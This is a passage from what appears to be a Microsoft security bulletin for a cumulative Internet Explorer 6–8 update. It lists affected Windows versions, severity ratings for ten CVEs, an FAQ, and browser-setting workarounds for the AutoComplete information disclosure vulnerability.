Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2\r\n\t\r\n\r\nInternet Explorer 8**\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2\r\n\t\r\n\r\nInternet Explorer 8**\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows 7 for 32-bit Systems\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows 7 for x64-based Systems\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2008 R2 for x64-based Systems\r\n\t\r\n\r\nInternet Explorer 8**\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\nWindows Server 2008 R2 for Itanium-based Systems\r\n\t\r\n\r\nInternet Explorer 8\r\n\t\r\n\r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\t\r\n\r\nMS10-053\r\n\r\n**Server Core installation not affected. The vulnerabilities addressed by this update do not affect supported editions of Windows Server 2008 or Windows Server 2008 R2 as indicated, when installed using the Server Core installation option. For more information on this installation option, see the TechNet articles, Managing a Server Core Installation and Servicing a Server Core Installation. Note that the Server Core installation option does not apply to certain editions of Windows Server 2008 and Windows Server 2008 R2; see Compare Server Core Installation Options.\r\nTop of sectionTop of section\r\n\t\r\nFrequently Asked Questions (FAQ) Related to This Security Update\r\n\r\nWhere are the file information details? \r\nRefer to the reference tables in the Security Update Deployment section for the location of the file information details.\r\n\r\nHow are the Windows 7 Service Pack 1 Beta and Windows Server 2008 R2 Service Pack 1 Beta releases affected by these vulnerabilities? \r\nWindows 7 Service Pack 1 Beta and Windows Server 2008 R2 Service Pack 1 Beta are affected by the vulnerabilities described in this bulletin. Customers running these beta releases are encouraged to download and apply the update to their systems. Security updates are available from Microsoft Update and Windows Update. The security update is also available for download from the Microsoft Download Center.\r\n\r\nHow is this security update related to MS10-072? \r\nThe HTML Sanitization Vulnerability (CVE-2010-3243) and HTML Sanitization Vulnerability (CVE-2010-3324) described in this bulletin also affect Microsoft SharePoint. However, you may install only the updates that correspond to the software you have installed on your systems. If you have installed Internet Explorer, apply the required updates according to this bulletin. If you have installed Microsoft SharePoint, apply the required updates according to MS10-072.\r\n\r\nWhy does this update address several reported security vulnerabilities? \r\nThis update contains support for several vulnerabilities because the modifications that are required to address these issues are located in related files. Instead of having to install several updates that are almost the same, customers need to install this update only.\r\n\r\nI have selected a default browser other than Internet Explorer. Do I still need to apply this update? \r\nInternet Explorer provides application services and functionality for Windows and third-party programs that are maintained through the Cumulative Security Update for Internet Explorer. Microsoft recommends that customers apply the update immediately. The majority of customers have automatic updating enabled and will not need to take any action as this security update will be downloaded and installed automatically.\r\n\r\nI am using an older release of the software discussed in this security bulletin. What should I do? \r\nThe affected software listed in this bulletin have been tested to determine which releases are affected. Other releases are past their support life cycle. For more information about the product lifecycle, visit the Microsoft Support Lifecycle Web site.\r\n\r\nIt should be a priority for customers who have older releases of the software to migrate to supported releases to prevent potential exposure to vulnerabilities. To determine the support lifecycle for your software release, see Select a Product for Lifecycle Information. For more information about service packs for these software releases, see Lifecycle Supported Service Packs.\r\n\r\nCustomers who require custom support for older software must contact their Microsoft account team representative, their Technical Account Manager, or the appropriate Microsoft partner representative for custom support options. Customers without an Alliance, Premier, or Authorized Contract can contact their local Microsoft sales office. For contact information, visit the Microsoft Worldwide Information Web site, select the country in the Contact Information list, and then click Go to see a list of telephone numbers. When you call, ask to speak with the local Premier Support sales manager. For more information, see the Microsoft Support Lifecycle Policy FAQ.\r\nTop of sectionTop of section\r\nVulnerability Information\r\n\t\r\nSeverity Ratings and Vulnerability Identifiers\r\n\r\nThe following severity ratings assume the potential maximum impact of the vulnerability. For information regarding the likelihood, within 30 days of this security bulletin's release, of the exploitability of the vulnerability in relation to its severity rating and security impact, please see the Exploitability Index in the October bulletin summary. For more information, see Microsoft Exploitability Index.\r\nVulnerability Severity Rating and Maximum Security Impact by Affected Software\r\nAffected Software\tAutoComplete Information Disclosure Vulnerability - CVE-2010-0808\tHTML Sanitization Vulnerability - CVE-2010-3243\tHTML Sanitization Vulnerability - CVE-2010-3324\tCSS Special Character Information Disclosure Vulnerability - CVE-2010-3325\tUninitialized Memory Corruption Vulnerability - CVE-2010-3326\tAnchor Element Information Disclosure Vulnerability - CVE-2010-3327\tUninitialized Memory Corruption Vulnerability - CVE-2010-3328\tUninitialized Memory Corruption Vulnerability - CVE-2010-3329\tCross-Domain Information Disclosure Vulnerability - CVE-2010-3330\tUninitialized Memory Corruption Vulnerability - CVE-2010-3331\tAggregate Severity Rating\r\nInternet Explorer 6\t \t \t \t \t \t \t \t \t \t \t \r\n\r\nInternet Explorer 6 for Windows XP Service Pack 3\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 6 for Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 6 for Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 6 for Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 6 for Windows Server 2003 with SP2 for Itanium-based Systems\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\nInternet Explorer 7\t \t \t \t \t \t \t \t \t \t \t \r\n\r\nInternet Explorer 7 for Windows XP Service Pack 3\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 7 for Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 7 for Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 7 for Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 7 for Windows Server 2003 with SP2 for Itanium-based Systems\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 7 in Windows Vista Service Pack 1 and Windows Vista Service Pack 2\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 7 in Windows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 7 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2**\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 7 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2**\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 7 in Windows Server 2008 for Itanium-based Systems and Windows Server 2008 for Itanium-based Systems Service Pack 2\r\n\t\r\n\r\nNone\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\nInternet Explorer 8\t \t \t \t \t \t \t \t \t \t \t \r\n\r\nInternet Explorer 8 for Windows XP Service Pack 3\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 8 for Windows XP Professional x64 Edition Service Pack 2\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 8 for Windows Server 2003 Service Pack 2\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 8 for Windows Server 2003 x64 Edition Service Pack 2\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 8 in Vista Service Pack 1 and Windows Vista Service Pack 2\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 8 in Windows Vista x64 Edition Service Pack 1 and Windows Vista x64 Edition Service Pack 2\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 8 in Windows Server 2008 for 32-bit Systems and Windows Server 2008 for 32-bit Systems Service Pack 2**\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 8 in Windows Server 2008 for x64-based Systems and Windows Server 2008 for x64-based Systems Service Pack 2**\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 8 in Windows 7 for 32-bit Systems\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 8 in Windows 7 for x64-based Systems\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nCritical \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nCritical\r\n\r\nInternet Explorer 8 in Windows Server 2008 R2 for x64-based Systems**\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\nInternet Explorer 8 in Windows Server 2008 R2 for Itanium-based Systems\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nNot applicable\r\n\t\r\n\r\nModerate \r\nInformation Disclosure\r\n\t\r\n\r\nModerate \r\nRemote Code Execution\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nLow \r\nInformation Disclosure\r\n\t\r\n\r\nImportant \r\nRemote Code Execution\r\n\t\r\n\r\nImportant\r\n\r\n**Server Core installation not affected. The vulnerabilities addressed by this update do not affect supported editions of Windows Server 2008 or Windows Server 2008 R2 as indicated, when installed using the Server Core installation option. For more information on this installation option, see the TechNet articles, Managing a Server Core Installation and Servicing a Server Core Installation. Note that the Server Core installation option does not apply to certain editions of Windows Server 2008 and Windows Server 2008 R2; see Compare Server Core Installation Options.\r\nTop of sectionTop of section\r\n\t\r\nAutoComplete Information Disclosure Vulnerability - CVE-2010-0808\r\n\r\nAn information disclosure vulnerability exists that potentially allows form data within Internet Explorer to be captured via the AutoComplete feature. An attacker could exploit the vulnerability by constructing a specially crafted Web page that could allow information disclosure if a user viewed the Web page. An attacker who successfully exploited this vulnerability could capture information previously entered into fields after the AutoComplete feature has been enabled.\r\n\r\nTo view this vulnerability as a standard entry in the Common Vulnerabilities and Exposures list, see CVE-2010-0808.\r\n\t\r\nMitigating Factors for AutoComplete Information Disclosure Vulnerability - CVE-2010-0808\r\n\r\nMitigation refers to a setting, common configuration, or general best-practice, existing in a default state, that could reduce the severity of exploitation of a vulnerability. The following mitigating factors may be helpful in your situation:\r\n\u2022\t\r\n\r\nBy default, Internet Explorer on Windows Server 2003 and Windows Server 2008 runs in a restricted mode that is known as Enhanced Security Configuration. This mode sets the security level for the Internet zone to High. This is a mitigating factor for Web sites that you have not added to the Internet Explorer Trusted sites zone. See the FAQ subsection of this vulnerability section for more information about Internet Explorer Enhanced Security Configuration.\r\nTop of sectionTop of section\r\n\t\r\nWorkarounds for AutoComplete Information Disclosure Vulnerability - CVE-2010-0808\r\n\r\nWorkaround refers to a setting or configuration change that does not correct the underlying vulnerability but would help block known attack vectors before you apply the update. Microsoft has tested the following workarounds and states in the discussion whether a workaround reduces functionality:\r\n\u2022\t\r\n\r\nSet Internet and Local intranet security zone settings to "High" to block ActiveX Controls and Active Scripting in these zones\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings for the Internet security zone to block ActiveX controls and Active Scripting. You can do this by setting your browser security to High.\r\n\r\nTo raise the browsing security level in Internet Explorer, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nOn the Internet Explorer Tools menu, click Internet Options.\r\n\r\n2.\r\n\t\r\n\r\nIn the Internet Options dialog box, click the Security tab, and then click the Internet icon.\r\n\r\n3.\r\n\t\r\n\r\nUnder Security level for this zone, move the slider to High. This sets the security level for all Web sites you visit to High.\r\n\r\nNote If no slider is visible, click Default Level, and then move the slider to High.\r\n\r\nNote Setting the level to High may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly even with the security setting set to High.\r\n\r\nImpact of workaround. There are side effects to blocking ActiveX Controls and Active Scripting. Many Web sites that are on the Internet or on an intranet use ActiveX or Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use ActiveX Controls to provide menus, ordering forms, or even account statements. Blocking ActiveX Controls or Active Scripting is a global setting that affects all Internet and intranet sites. If you do not want to block ActiveX Controls or Active Scripting for such sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to block ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect yourself from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the zone.\r\n\r\n6.\r\n\t\r\n\r\nClick OK two times to accept the changes and return to Internet Explorer.\r\n\r\nNote Add any sites that you trust not to take malicious action on your system. Two in particular that you may want to add are *.windowsupdate.microsoft.com and *.update.microsoft.com. These are the sites that will host the update, and it requires an ActiveX Control to install the update.\r\n\u2022\t\r\n\r\nConfigure Internet Explorer to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone\r\n\r\nYou can help protect against exploitation of this vulnerability by changing your settings to prompt before running Active Scripting or to disable Active Scripting in the Internet and Local intranet security zone. To do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Internet Options on the Tools menu.\r\n\r\n2.\r\n\t\r\n\r\nClick the Security tab.\r\n\r\n3.\r\n\t\r\n\r\nClick Internet, and then click Custom Level.\r\n\r\n4.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n5.\r\n\t\r\n\r\nClick Local intranet, and then click Custom Level.\r\n\r\n6.\r\n\t\r\n\r\nUnder Settings, in the Scripting section, under Active Scripting, click Prompt or Disable, and then click OK.\r\n\r\n7.\r\n\t\r\n\r\nClick OK two times to return to Internet Explorer.\r\n\r\nNote Disabling Active Scripting in the Internet and Local intranet security zones may cause some Web sites to work incorrectly. If you have difficulty using a Web site after you change this setting, and you are sure the site is safe to use, you can add that site to your list of trusted sites. This will allow the site to work correctly.\r\n\r\nImpact of workaround. There are side effects to prompting before running Active Scripting. Many Web sites that are on the Internet or on an intranet use Active Scripting to provide additional functionality. For example, an online e-commerce site or banking site may use Active Scripting to provide menus, ordering forms, or even account statements. Prompting before running Active Scripting is a global setting that affects all Internet and intranet sites. You will be prompted frequently when you enable this workaround. For each prompt, if you feel you trust the site that you are visiting, click Yes to run Active Scripting. If you do not want to be prompted for all these sites, use the steps outlined in "Add sites that you trust to the Internet Explorer Trusted sites zone".\r\n\r\nAdd sites that you trust to the Internet Explorer Trusted sites zone\r\n\r\nAfter you set Internet Explorer to require a prompt before it runs ActiveX controls and Active Scripting in the Internet zone and in the Local intranet zone, you can add sites that you trust to the Internet Explorer Trusted sites zone. This will allow you to continue to use trusted Web sites exactly as you do today, while helping to protect you from this attack on untrusted sites. We recommend that you add only sites that you trust to the Trusted sites zone.\r\n\r\nTo do this, follow these steps:\r\n\r\n1.\r\n\t\r\n\r\nIn Internet Explorer, click Tools, click Internet Options, and then click the Security tab.\r\n\r\n2.\r\n\t\r\n\r\nIn the Select a Web content zone to specify its current security settings box, click Trusted Sites, and then click Sites.\r\n\r\n3.\r\n\t\r\n\r\nIf you want to add sites that do not require an encrypted channel, click to clear the Require server verification (https:) for all sites in this zone check box.\r\n\r\n4.\r\n\t\r\n\r\nIn the Add this Web site to the zone box, type the URL of a site that you trust, and then click Add.\r\n\r\n5.\r\n\t\r\n\r\nRepeat these steps for each site that you want to add to the 